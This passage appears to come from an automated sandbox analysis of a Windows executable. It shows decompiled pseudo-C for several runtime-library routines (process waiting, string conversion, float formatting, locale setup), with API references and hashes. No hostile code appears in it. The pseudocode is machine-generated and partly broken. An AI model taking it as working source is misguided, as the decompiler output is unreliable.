														 *_a8 = _t90;
														 *_a20 = _t78;
														 *_t78 = 0;
														return 0;
													} else {
														_t27 = _t77 + 2; // 0x2
														return _t27;
													}
												} else {
													_t59 = GetLastError();
													_t81 = _v0;
													 *_t81 = _t59;
													_t81[1] = 0x17a3a0;
													L27:
													_push(_t67);
													if(_v12 != 0x103) {
														if(_t96[6] == 0 &&  *(_t96[4]) == 0x103) {
															 *(_t96[4]) = _v12;
														}
														return 0;
													} else {
														return 1;
													}
												}
											}
										}
									} else {
										_t95 = GetLastError();
										L10:
										CloseHandle( *_t89);
										 *_t89 = 0xffffffff;
										_t32 = _t89[4];
										 *_t32 = _v28;
										if(_t95 != 0) {
											L16:
											_t72 =  &_v24;
											E00056210(_t72, "wait error", _t95, 0x17a3a0);
											E001047B7( &_v36, 0x16cddc);
											goto L17;
										} else {
											goto L14;
										}
									}
								}
							}
						}
					}
				}
			}

0x000565e0
0x000565e0
0x000565e0
0x000565e9
0x000565fa
0x000565fc
0x00056601
0x00056606
0x000566c9
0x00000000
0x0005660c
0x00056610
0x000566c3
0x000566c8
0x00056616
0x00056619
0x00056620
0x00000000
0x00056626
0x00056626
0x0005662a
0x00000000
0x00056639
0x0005663c
0x0005664d
0x0005666f
0x00056684
0x00056686
0x0005668b
0x00056690
0x000566bb
0x000566bf
0x00000000
0x000566c1
0x00000000
0x000566c1
0x00000000
0x00000000
0x00000000
0x0005664f
0x0005665e
0x00056663
0x00056692
0x00056694
0x000566f1
0x000566f1
0x000566f6
0x000566f7
0x000566f8
0x000566f9
0x000566fa
0x000566fb
0x000566fc
0x000566fd
0x000566fe
0x000566ff
0x00056701
0x00056703
0x00056704
0x00056705
0x00056707
0x0005670b
0x000567e6
0x00056734
0x00056742
0x00056777
0x00056778
0x0005678a
0x0005679a
0x00000000
0x0005679c
0x0005679c
0x00000000
0x000567a3
0x00056744
0x0005675d
0x000567e9
0x000567e9
0x000567ee
0x000567ef
0x000567f0
0x000567f3
0x000567f4
0x000567f5
0x00056800
0x00056803
0x00056806
0x00056821
0x00056825
0x00056833
0x00056836
0x0005683d
0x00056841
0x00056845
0x00056827
0x00056828
0x0005682d
0x0005682d
0x00056763
0x00056763
0x00056769
0x0005676c
0x0005676e
0x000567a4
0x000567ab
0x000567ac
0x000567bf
0x000567d4
0x000567d4
0x000567dd
0x000567ae
0x000567b7
0x000567b7
0x000567ac
0x0005675d
0x00056742
0x00056696
0x0005669c
0x0005669e
0x000566a0
0x000566aa
0x000566b0
0x000566b3
0x000566b7
0x000566ce
0x000566d9
0x000566dd
0x000566ec
0x00000000
0x000566b9
0x00000000
0x000566b9
0x000566b7
0x00056694
0x0005664d
0x0005662a
0x00056620
0x00056610

APIs

WaitForSingleObject.KERNEL32 ref: 00056644
GetExitCodeProcess.KERNELBASE(?,?), ref: 0005666F
GetLastError.KERNEL32(?,?,000000FF), ref: 00056696
CloseHandle.KERNEL32 ref: 000566A0

Part of subcall function 0010F5C4: _abort.LIBCMT ref: 0010F5FA
Part of subcall function 0010F5C4: _free.LIBCMT ref: 0010F62E
Part of subcall function 0010F5C4: _free.LIBCMT ref: 0010F654

__CxxThrowException@8.LIBVCRUNTIME ref: 000566EC

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

Strings

wait error, xrefs: 000566D4

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: _free$CloseCodeErrorExceptionException@8ExitHandleLastObjectProcessRaiseSingleThrowWait_abort
String ID: wait error
API String ID: 1996712019-4158087810
Opcode ID: a1079c1f50a437aa7a8ff6b1630c8540bd8d1b548934b4a73bc381be80ab79cb
Instruction ID: d3d802799e6b3de80a5e959a4d1bbc053aba4a8e3261e590a2c2474f651c2b4f
Opcode Fuzzy Hash: a1079c1f50a437aa7a8ff6b1630c8540bd8d1b548934b4a73bc381be80ab79cb
Instruction Fuzzy Hash: 8321F431A44702ABD3209A34CC06E6B77A4AF51721FC00715FCA4D72E1EBA2DD5C86E6

Uniqueness

Uniqueness Score: 100.00%

Function 00120ECA, Relevance: 9.2, APIs: 6, Instructions: 216
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E00120ECA(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr* _a4, intOrPtr _a8, signed int _a12, char* _a16, int _a20, intOrPtr _a24, short* _a28, int _a32, intOrPtr _a36) {
				signed int _v8;
				int _v12;
				void* _v24;
				signed int _t49;
				signed int _t54;
				int _t58;
				signed int _t60;
				short* _t62;
				signed int _t66;
				short* _t70;
				int _t71;
				int _t78;
				short* _t81;
				signed int _t87;
				signed int _t90;
				void* _t95;
				void* _t96;
				int _t98;
				short* _t101;
				int _t103;
				signed int _t106;
				short* _t107;
				void* _t110;

				_push(__ecx);
				_push(__ecx);
				_t49 =  *0x16f170; // 0xd529e887
				_v8 = _t49 ^ _t106;
				_push(__esi);
				_t103 = _a20;
				if(_t103 > 0) {
					_t78 = E00118DB8(_a16, _t103);
					_t110 = _t78 - _t103;
					_t4 = _t78 + 1; // 0x1
					_t103 = _t4;
					if(_t110 >= 0) {
						_t103 = _t78;
					}
				}
				_t98 = _a32;
				if(_t98 == 0) {
					_t98 =  *( *_a4 + 8);
					_a32 = _t98;
				}
				_t54 = MultiByteToWideChar(_t98, 1 + (0 | _a36 != 0x00000000) * 8, _a16, _t103, 0, 0);
				_v12 = _t54;
				if(_t54 == 0) {
					L38:
					return E000ECED8(_v8 ^ _t106);
				} else {
					_t95 = _t54 + _t54;
					_t85 = _t95 + 8;
					asm("sbb eax, eax");
					if((_t95 + 0x00000008 & _t54) == 0) {
						_t81 = 0;
						__eflags = 0;
						L14:
						if(_t81 == 0) {
							L36:
							_t105 = 0;
							L37:
							E000EC994(_t81);
							goto L38;
						}
						_t58 = MultiByteToWideChar(_t98, 1, _a16, _t103, _t81, _v12);
						_t121 = _t58;
						if(_t58 == 0) {
							goto L36;
						}
						_t100 = _v12;
						_t60 = E0011F64A(_t85, _t103, _t121, _a8, _a12, _t81, _v12, 0, 0, 0, 0, 0); // executed
						_t105 = _t60;
						if(_t105 == 0) {
							goto L36;
						}
						if((_a12 & 0x00000400) == 0) {
							_t96 = _t105 + _t105;
							_t87 = _t96 + 8;
							__eflags = _t96 - _t87;
							asm("sbb eax, eax");
							__eflags = _t87 & _t60;
							if((_t87 & _t60) == 0) {
								_t101 = 0;
								__eflags = 0;
								L30:
								__eflags = _t101;
								if(__eflags == 0) {
									L35:
									E000EC994(_t101);
									goto L36;
								}
								_t62 = E0011F64A(_t87, _t105, __eflags, _a8, _a12, _t81, _v12, _t101, _t105, 0, 0, 0);
								__eflags = _t62;
								if(_t62 == 0) {
									goto L35;
								}
								_push(0);
								_push(0);
								__eflags = _a28;
								if(_a28 != 0) {
									_push(_a28);
									_push(_a24);
								} else {
									_push(0);
									_push(0);
								}
								_t105 = WideCharToMultiByte(_a32, 0, _t101, _t105, ??, ??, ??, ??);
								__eflags = _t105;
								if(_t105 != 0) {
									E000EC994(_t101);
									goto L37;
								} else {
									goto L35;
								}
							}
							_t90 = _t96 + 8;
							__eflags = _t96 - _t90;
							asm("sbb eax, eax");
							_t66 = _t60 & _t90;
							_t87 = _t96 + 8;
							__eflags = _t66 - 0x400;
							if(_t66 > 0x400) {
								__eflags = _t96 - _t87;
								asm("sbb eax, eax");
								_t101 = E0011D9CA(_t87, _t66 & _t87);
								_pop(_t87);
								__eflags = _t101;
								if(_t101 == 0) {
									goto L35;
								}
								 *_t101 = 0xdddd;
								L28:
								_t101 =  &(_t101[4]);
								goto L30;
							}
							__eflags = _t96 - _t87;
							asm("sbb eax, eax");
							E000ED650();
							_t101 = _t107;
							__eflags = _t101;
							if(_t101 == 0) {
								goto L35;
							}
							 *_t101 = 0xcccc;
							goto L28;
						}
						_t70 = _a28;
						if(_t70 == 0) {
							goto L37;
						}
						_t125 = _t105 - _t70;
						if(_t105 > _t70) {
							goto L36;
						}
						_t71 = E0011F64A(0, _t105, _t125, _a8, _a12, _t81, _t100, _a24, _t70, 0, 0, 0);
						_t105 = _t71;
						if(_t71 != 0) {
							goto L37;
						}
						goto L36;
					}
					asm("sbb eax, eax");
					_t72 = _t54 & _t95 + 0x00000008;
					_t85 = _t95 + 8;
					if((_t54 & _t95 + 0x00000008) > 0x400) {
						__eflags = _t95 - _t85;
						asm("sbb eax, eax");
						_t81 = E0011D9CA(_t85, _t72 & _t85);
						_pop(_t85);
						__eflags = _t81;
						if(__eflags == 0) {
							goto L36;
						}
						 *_t81 = 0xdddd;
						L12:
						_t81 =  &(_t81[4]);
						goto L14;
					}
					asm("sbb eax, eax");
					E000ED650();
					_t81 = _t107;
					if(_t81 == 0) {
						goto L36;
					}
					 *_t81 = 0xcccc;
					goto L12;
				}
			}

0x00120ecf
0x00120ed0
0x00120ed1
0x00120ed8
0x00120edc
0x00120edd
0x00120ee3
0x00120ee9
0x00120eef
0x00120ef2
0x00120ef2
0x00120ef5
0x00120ef7
0x00120ef7
0x00120ef5
0x00120ef9
0x00120efe
0x00120f05
0x00120f08
0x00120f08
0x00120f24
0x00120f2a
0x00120f2f
0x001210c2
0x001210d5
0x00120f35
0x00120f35
0x00120f38
0x00120f3d
0x00120f41
0x00120f95
0x00120f95
0x00120f97
0x00120f99
0x001210b7
0x001210b7
0x001210b9
0x001210ba
0x00000000
0x001210c0
0x00120faa
0x00120fb0
0x00120fb2
0x00000000
0x00000000
0x00120fb8
0x00120fca
0x00120fcf
0x00120fd3
0x00000000
0x00000000
0x00120fe0
0x0012101a
0x0012101d
0x00121020
0x00121022
0x00121024
0x00121026
0x00121072
0x00121072
0x00121074
0x00121074
0x00121076
0x001210b0
0x001210b1
0x00000000
0x001210b6
0x0012108a
0x0012108f
0x00121091
0x00000000
0x00000000
0x00121095
0x00121096
0x00121097
0x0012109a
0x001210d6
0x001210d9
0x0012109c
0x0012109c
0x0012109d
0x0012109d
0x001210aa
0x001210ac
0x001210ae
0x001210df
0x00000000
0x00000000
0x00000000
0x00000000
0x001210ae
0x00121028
0x0012102b
0x0012102d
0x0012102f
0x00121031
0x00121034
0x00121039
0x00121054
0x00121056
0x00121060
0x00121062
0x00121063
0x00121065
0x00000000
0x00000000
0x00121067
0x0012106d
0x0012106d
0x00000000
0x0012106d
0x0012103b
0x0012103d
0x00121041
0x00121046
0x00121048
0x0012104a
0x00000000
0x00000000
0x0012104c
0x00000000
0x0012104c
0x00120fe2
0x00120fe7
0x00000000
0x00000000
0x00120fed
0x00120fef
0x00000000
0x00000000
0x00121006
0x0012100b
0x0012100f
0x00000000
0x00000000
0x00000000
0x00121015
0x00120f48
0x00120f4a
0x00120f4c
0x00120f54
0x00120f73
0x00120f75
0x00120f7f
0x00120f81
0x00120f82
0x00120f84
0x00000000
0x00000000
0x00120f8a
0x00120f90
0x00120f90
0x00000000
0x00120f90
0x00120f58
0x00120f5c
0x00120f61
0x00120f65
0x00000000
0x00000000
0x00120f6b
0x00000000
0x00120f6b

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,0010EBA5,0010EBA5,?,?,?,0012111B,00000001,00000001,B5E85006), ref: 00120F24
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,0012111B,00000001,00000001,B5E85006,?,?,?), ref: 00120FAA

Part of subcall function 0011F64A: LCMapStringW.KERNEL32(00000000,00000001,00000000,00000000,00000001,?,?,?,00000001,00000000,00000001,?,00126C78,00126C78,?,?), ref: 0011F6BB

Part of subcall function 0011D9CA: RtlAllocateHeap.NTDLL(00000000,?,00000004,?,0011D976,?,00000000,?,00124E06,?,00000004,?,?,?,?,001197EF), ref: 0011D9FC

WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,B5E85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 001210A4
__freea.LIBCMT ref: 001210B1
__freea.LIBCMT ref: 001210BA

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

__freea.LIBCMT ref: 001210DF

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: ByteCharMultiWide__freea$AllocateFeatureHeapPresentProcessorString___raise_securityfailure
String ID:
API String ID: 3669866434-0
Opcode ID: 7e4ea6e9708e1819b0701615251f2066de566eee3e3a79a61c6a86184cfd17c3
Instruction ID: 3440879f5e85a9f8979b352c73dcd704d84740a45bfa20308aab62787e30a9a5
Opcode Fuzzy Hash: 7e4ea6e9708e1819b0701615251f2066de566eee3e3a79a61c6a86184cfd17c3
Instruction Fuzzy Hash: F051E072600266BFEB298F64EC41EBF77AAEB64750F154728FC04D6181EB34DCA0C695

Uniqueness

Uniqueness Score: 0.06%

Function 0011622E, Relevance: 9.2, APIs: 6, Instructions: 200
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E0011622E(void* __ebx, void* __edx, void* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				char _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char* _v44;
				char _v48;
				void* __ecx;
				signed int _t67;
				signed int _t70;
				signed int _t71;
				signed int _t75;
				intOrPtr _t76;
				signed int _t79;
				signed int _t86;
				intOrPtr _t88;
				void* _t97;
				signed int _t99;
				void* _t101;
				void* _t103;
				void* _t108;
				signed int _t112;
				signed int _t113;
				signed int _t116;
				void* _t120;
				signed int _t123;
				signed int _t125;
				intOrPtr _t126;
				signed int _t128;
				intOrPtr _t130;
				signed int _t131;
				void* _t135;
				void* _t136;
				void* _t138;

				_t120 = __edx;
				_t97 = __ebx;
				_push(_t101);
				if(_a8 != 0) {
					_push(__esi);
					_push(__edi);
					_t123 = 0;
					_t67 = E00110FD3( &_v8, 0, 0, _a8, 0x7fffffff);
					_t136 = _t135 + 0x14;
					__eflags = _t67;
					if(_t67 == 0) {
						L5:
						_t128 = E0011C726(_t101, _v8, 2);
						_pop(_t103);
						__eflags = _t128;
						if(_t128 == 0) {
							L11:
							E0011D5C7(_t128);
							_t70 = _t123;
							goto L12;
						} else {
							_t71 = E00110FD3(_t123, _t128, _v8, _a8, 0xffffffff);
							_t136 = _t136 + 0x14;
							__eflags = _t71;
							if(_t71 == 0) {
								_t123 = E0011A5C5(_t103, _a4, _t128);
								goto L11;
							} else {
								__eflags = _t71 - 0x16;
								if(_t71 == 0x16) {
									goto L13;
								} else {
									__eflags = _t71 - 0x22;
									if(_t71 != 0x22) {
										goto L11;
									} else {
										goto L13;
									}
								}
							}
						}
					} else {
						__eflags = _t67 - 0x16;
						if(_t67 == 0x16) {
							L13:
							_push(_t123);
							_push(_t123);
							_push(_t123);
							_push(_t123);
							_push(_t123);
							E0010F468();
							asm("int3");
							_push(0x1c);
							E000EE140();
							_t130 = _a4;
							_t75 = E0011622E(_t97, _t120, _t123, _t130, _t130, _a8); // executed
							_t108 = 0x16c388;
							_t125 = _t75;
							__eflags = _t125;
							if(_t125 != 0) {
								_t76 = E0011E008(_t97, _t108, _t120);
								_v40 = _t76;
								_v48 =  *((intOrPtr*)(_t76 + 0x4c));
								_t110 =  *((intOrPtr*)(_t76 + 0x48));
								_v44 =  *((intOrPtr*)(_t76 + 0x48));
								_v32 = 0;
								_t79 = E00111274( *((intOrPtr*)(_t76 + 0x48)),  &_v32, 0, 0, _t125, 0,  &_v48);
								_t138 = _t136 + 0x18;
								__eflags = _t79;
								if(_t79 == 0) {
									L22:
									_t99 = E0011D9CA(_t110, _v32 + 4);
									__eflags = _t99;
									if(_t99 == 0) {
										goto L15;
									} else {
										_t20 = _t99 + 4; // 0x4
										_v36 = _t20;
										_t110 =  &_v48;
										_t125 = 0;
										_t86 = E00111274( &_v48, 0, _t20, _v32, 0, 0xffffffff,  &_v48);
										_t138 = _t138 + 0x18;
										__eflags = _t86;
										if(_t86 == 0) {
											L29:
											_t126 = _v48;
											E0011299D(4);
											_pop(_t112);
											_v8 = _v8 & 0x00000000;
											_t131 = _t130 + _t130;
											_t113 = _t112 | 0xffffffff;
											__eflags =  *(_t126 + 0x24 + _t131 * 8);
											if(__eflags != 0) {
												asm("lock xadd [edx], eax");
												if(__eflags == 0) {
													E0011D5C7( *(_t126 + 0x24 + _t131 * 8));
													_pop(_t116);
													 *(_t126 + 0x24 + _t131 * 8) =  *(_t126 + 0x24 + _t131 * 8) & 0x00000000;
													_t113 = _t116 | 0xffffffff;
													__eflags = _t113;
												}
											}
											_t88 = _v40;
											__eflags =  *(_t88 + 0x350) & 0x00000002;
											if(( *(_t88 + 0x350) & 0x00000002) == 0) {
												__eflags =  *0x16fae0 & 0x00000001;
												if(( *0x16fae0 & 0x00000001) == 0) {
													__eflags =  *(_t126 + 0x24 + _t131 * 8);
													if( *(_t126 + 0x24 + _t131 * 8) != 0) {
														asm("lock xadd [eax], ecx");
														__eflags = _t113 == 1;
														if(_t113 == 1) {
															E0011D5C7( *(_t126 + 0x24 + _t131 * 8));
															_t51 = _t126 + 0x24 + _t131 * 8;
															 *_t51 =  *(_t126 + 0x24 + _t131 * 8) & 0x00000000;
															__eflags =  *_t51;
														}
													}
												}
											}
											 *_t99 =  *((intOrPtr*)(_t126 + 0xc));
											 *(_t126 + 0x24 + _t131 * 8) = _t99;
											 *((intOrPtr*)(_t126 + 0x1c + _t131 * 8)) = _v36;
											_v8 = 0xfffffffe;
											E0011641F();
										} else {
											__eflags = _t86 - 0x16;
											if(_t86 == 0x16) {
												L26:
												_push(_t125);
												_push(_t125);
												_push(_t125);
												_push(_t125);
												_push(_t125);
												goto L20;
											} else {
												__eflags = _t86 - 0x22;
												if(_t86 != 0x22) {
													__eflags = _t86;
													if(_t86 == 0) {
														goto L29;
													} else {
														E0011D5C7(_t99);
														goto L15;
													}
												} else {
													goto L26;
												}
											}
										}
									}
								} else {
									__eflags = _t79 - 0x16;
									if(_t79 == 0x16) {
										L19:
										_push(0);
										_push(0);
										_push(0);
										_push(0);
										_push(0);
										L20:
										_t79 = E0010F468();
									} else {
										__eflags = _t79 - 0x22;
										if(_t79 == 0x22) {
											goto L19;
										}
									}
									__eflags = _t79;
									if(_t79 != 0) {
										goto L15;
									} else {
										goto L22;
									}
								}
							} else {
								L15:
							}
							return E000EE186();
						} else {
							__eflags = _t67 - 0x22;
							if(_t67 == 0x22) {
								goto L13;
							} else {
								goto L5;
							}
						}
					}
				} else {
					_t70 = E0011A5C5(_t101, _a4, 0); // executed
					L12:
					return _t70;
				}
			}

0x0011622e
0x0011622e
0x00116233
0x00116238
0x00116248
0x00116249
0x00116252
0x0011625a
0x0011625f
0x00116262
0x00116264
0x00116270
0x0011627a
0x0011627d
0x0011627e
0x00116280
0x001162b1
0x001162b2
0x001162b8
0x00000000
0x00116282
0x0011628c
0x00116291
0x00116294
0x00116296
0x001162af
0x00000000
0x00116298
0x00116298
0x0011629b
0x00000000
0x0011629d
0x0011629d
0x001162a0
0x00000000
0x001162a2
0x00000000
0x001162a2
0x001162a0
0x0011629b
0x00116296
0x00116266
0x00116266
0x00116269
0x001162c0
0x001162c0
0x001162c1
0x001162c2
0x001162c3
0x001162c4
0x001162c5
0x001162ca
0x001162cb
0x001162d2
0x001162da
0x001162de
0x001162e4
0x001162e5
0x001162e7
0x001162e9
0x001162f2
0x001162f7
0x001162fd
0x00116300
0x00116303
0x00116308
0x00116317
0x0011631c
0x0011631f
0x00116321
0x0011633b
0x00116348
0x0011634a
0x0011634c
0x00000000
0x0011634e
0x0011634e
0x00116351
0x00116354
0x0011635f
0x00116362
0x00116367
0x0011636a
0x0011636c
0x0011638f
0x0011638f
0x00116394
0x00116399
0x0011639a
0x0011639e
0x001163a4
0x001163a7
0x001163a9
0x001163ad
0x001163b1
0x001163b7
0x001163bc
0x001163bd
0x001163c2
0x001163c2
0x001163c2
0x001163b1
0x001163c5
0x001163c8
0x001163cf
0x001163d1
0x001163d8
0x001163de
0x001163e0
0x001163e2
0x001163e6
0x001163e7
0x001163ed
0x001163f3
0x001163f3
0x001163f3
0x001163f3
0x001163e7
0x001163e0
0x001163d8
0x001163fb
0x001163fd
0x00116404
0x00116408
0x0011640f
0x0011636e
0x0011636e
0x00116371
0x00116378
0x00116378
0x00116379
0x0011637a
0x0011637b
0x0011637c
0x00000000
0x00116373
0x00116373
0x00116376
0x0011637f
0x00116381
0x00000000
0x00116383
0x00116384
0x00000000
0x00116389
0x00000000
0x00000000
0x00000000
0x00116376
0x00116371
0x0011636c
0x00116323
0x00116323
0x00116326
0x0011632d
0x0011632d
0x0011632e
0x0011632f
0x00116330
0x00116331
0x00116332
0x00116332
0x00116328
0x00116328
0x0011632b
0x00000000
0x00000000
0x0011632b
0x00116337
0x00116339
0x00000000
0x00000000
0x00000000
0x00000000
0x00116339
0x001162eb
0x001162eb
0x001162eb
0x0011641b
0x0011626b
0x0011626b
0x0011626e
0x00000000
0x00000000
0x00000000
0x00000000
0x0011626e
0x00116269
0x0011623a
0x0011623f
0x001162bc
0x001162bf
0x001162bf

APIs

__cftoe.LIBCMT ref: 0011625A

Part of subcall function 0011C726: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0011E0BD,00000001,00000364,?,00124E06,?,00000004,?,?,?,?,001197EF), ref: 0011C767

__cftoe.LIBCMT ref: 0011628C
_free.LIBCMT ref: 001162B2

Part of subcall function 0011D5C7: HeapFree.KERNEL32(00000000,00000000), ref: 0011D5DD
Part of subcall function 0011D5C7: GetLastError.KERNEL32(?,?,00125B25,?,00000000,?,00000000,?,00125DC9,?,00000007,?,?,001261BD,?,?), ref: 0011D5EF

Part of subcall function 0010F468: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0010F46A
Part of subcall function 0010F468: GetCurrentProcess.KERNEL32(C0000417), ref: 0010F48C
Part of subcall function 0010F468: TerminateProcess.KERNEL32(00000000), ref: 0010F493

Part of subcall function 0011622E: _free.LIBCMT ref: 00116384
Part of subcall function 0011622E: _free.LIBCMT ref: 001163B7
Part of subcall function 0011622E: _free.LIBCMT ref: 001163ED

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: _free$HeapProcess__cftoe$AllocateCurrentErrorFeatureFreeLastPresentProcessorTerminate
String ID:
API String ID: 2670463332-0
Opcode ID: 479097a7d2ff6b2dd5cf2d50983bf7e70e53ddafa613d1eef1821315d8a35894
Instruction ID: 101114606c209ddf330aa00919a4d7c6f5b9182745cb09508017bfafa2ef2498
Opcode Fuzzy Hash: 479097a7d2ff6b2dd5cf2d50983bf7e70e53ddafa613d1eef1821315d8a35894
Instruction Fuzzy Hash: 5D51EB32900205ABDF2C9B688C45EEE77B9EF59370F21423DF829D6182DB36D9C0C665

Uniqueness

Uniqueness Score: 12.89%

Function 0006C220, Relevance: 9.1, APIs: 6, Instructions: 124
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E0006C220(void* __edx) {
				intOrPtr _v8;
				char _v16;
				char _v24;
				char _v32;
				intOrPtr* _v36;
				char _v40;
				char _v60;
				char _v112;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t38;
				intOrPtr* _t42;
				intOrPtr _t45;
				intOrPtr* _t46;
				intOrPtr _t47;
				intOrPtr _t48;
				intOrPtr* _t55;
				void* _t57;
				signed int _t62;
				signed int _t63;
				void* _t64;
				intOrPtr _t67;
				intOrPtr _t71;
				void* _t77;
				signed int _t79;
				intOrPtr* _t83;
				void* _t89;
				void* _t100;

				_t77 = __edx;
				_t64 = _t89;
				_v8 =  *((intOrPtr*)(_t64 + 4));
				_push(0xffffffff);
				_push(0x12eb4f);
				_push( *[fs:0x0]);
				_push(_t64);
				_t38 =  *0x16f170; // 0xd529e887
				_push(_t38 ^ (_t89 - 0x00000008 & 0xfffffff8) + 0x00000004);
				 *[fs:0x0] =  &_v24;
				E000D71DA( &_v40, 0);
				_v16 = 0;
				_t79 =  *0x179218; // 0x1
				_t42 =  *0x17a3f4; // 0x4efd40
				_v36 = _t42;
				if(_t79 == 0) {
					E000D71DA( &_v32, _t79);
					_t100 =  *0x179218 - _t79; // 0x1
					if(_t100 == 0) {
						_t62 =  *0x179200; // 0x27
						_t63 = _t62 + 1;
						 *0x179200 = _t63;
						 *0x179218 = _t63;
					}
					E000D7232( &_v32);
					_t79 =  *0x179218; // 0x1
				}
				_t10 =  *((intOrPtr*)(_t64 + 8)) + 4; // 0x6a108bc8
				_t67 =  *_t10;
				if(_t79 >=  *((intOrPtr*)(_t67 + 0xc))) {
					_t83 = 0;
					__eflags = 0;
					L8:
					if( *((char*)(_t67 + 0x14)) == 0) {
						L11:
						if(_t83 != 0) {
							L21:
							E000D7232( &_v40);
							 *[fs:0x0] = _v24;
							return _t83;
						}
						L12:
						_t45 = _v36;
						if(_t45 == 0) {
							_push(0x18); // executed
							_t46 = E000ECF08(_t83, __eflags); // executed
							_t83 = _t46;
							_v36 = _t83;
							_t47 =  *((intOrPtr*)(_t64 + 8));
							_v16 = 1;
							_t24 = _t47 + 4; // 0x6a108bc8
							_t71 =  *_t24;
							__eflags = _t71;
							if(_t71 != 0) {
								_t48 =  *((intOrPtr*)(_t71 + 0x18));
								__eflags = _t48;
								if(_t48 == 0) {
									_t26 = _t71 + 0x1c; // 0x6a108be4
									_t48 = _t26;
								}
							} else {
								_t48 = 0x15063e;
							}
							E00051DD0(_t64,  &_v112, _t77, _t79, _t48);
							 *((intOrPtr*)(_t83 + 4)) = 0;
							_t30 = _t83 + 4; // 0x4
							 *_t83 = 0x13aba4;
							E000DA466( &_v112, _t30, __eflags,  &_v60);
							asm("movups xmm0, [eax]");
							asm("movups [esi+0x8], xmm0");
							E00051E90( &_v112);
							_v36 = _t83;
							_v16 = 2;
							E000D974C(__eflags, _t83);
							_t55 =  *((intOrPtr*)( *_t83 + 4));
							__eflags = _t55 - 0x52060;
							if(_t55 != 0x52060) {
								 *_t55();
							} else {
								asm("lock inc dword [edi]");
							}
							 *0x17a3f4 = _t83;
						} else {
							_t83 = _t45;
						}
						goto L21;
					}
					_t57 = E000D9778();
					if(_t79 >=  *((intOrPtr*)(_t57 + 0xc))) {
						goto L12;
					}
					_t83 =  *((intOrPtr*)( *((intOrPtr*)(_t57 + 8)) + _t79 * 4));
					goto L11;
				}
				_t83 =  *((intOrPtr*)( *((intOrPtr*)(_t67 + 8)) + _t79 * 4));
				if(_t83 != 0) {
					goto L21;
				}
				goto L8;
			}

0x0006c220
0x0006c221
0x0006c230
0x0006c236
0x0006c238
0x0006c243
0x0006c244
0x0006c24a
0x0006c251
0x0006c255
0x0006c260
0x0006c265
0x0006c26c
0x0006c272
0x0006c277
0x0006c27c
0x0006c282
0x0006c287
0x0006c28d
0x0006c28f
0x0006c294
0x0006c295
0x0006c29a
0x0006c29a
0x0006c2a2
0x0006c2a7
0x0006c2a7
0x0006c2b0
0x0006c2b0
0x0006c2b6
0x0006c2c8
0x0006c2c8
0x0006c2ca
0x0006c2ce
0x0006c2e0
0x0006c2e2
0x0006c37d
0x0006c380
0x0006c38a
0x0006c39a
0x0006c39a
0x0006c2e8
0x0006c2e8
0x0006c2ed
0x0006c2f6
0x0006c2f8
0x0006c2fd
0x0006c302
0x0006c305
0x0006c308
0x0006c30c
0x0006c30c
0x0006c30f
0x0006c311
0x0006c31a
0x0006c31d
0x0006c31f
0x0006c321
0x0006c321
0x0006c321
0x0006c313
0x0006c313
0x0006c313
0x0006c328
0x0006c330
0x0006c337
0x0006c33a
0x0006c341
0x0006c34c
0x0006c34f
0x0006c353
0x0006c358
0x0006c35c
0x0006c360
0x0006c36a
0x0006c36d
0x0006c372
0x0006c39d
0x0006c374
0x0006c374
0x0006c374
0x0006c377
0x0006c2ef
0x0006c2ef
0x0006c2ef
0x00000000
0x0006c2ed
0x0006c2d0
0x0006c2d8
0x00000000
0x00000000
0x0006c2dd
0x00000000
0x0006c2dd
0x0006c2bb
0x0006c2c0
0x00000000
0x00000000
0x00000000

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0006C260
std::_Lockit::_Lockit.LIBCPMT ref: 0006C282
std::_Lockit::~_Lockit.LIBCPMT ref: 0006C2A2

Part of subcall function 000ECF08: __CxxThrowException@8.LIBVCRUNTIME ref: 000EE12F

Part of subcall function 00051DD0: std::_Lockit::_Lockit.LIBCPMT ref: 00051DFD
